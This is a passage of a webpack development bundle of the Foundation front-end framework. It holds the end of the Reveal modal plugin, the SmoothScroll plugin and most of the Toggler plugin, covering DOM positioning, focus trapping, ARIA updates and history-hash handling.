_makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n }\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return 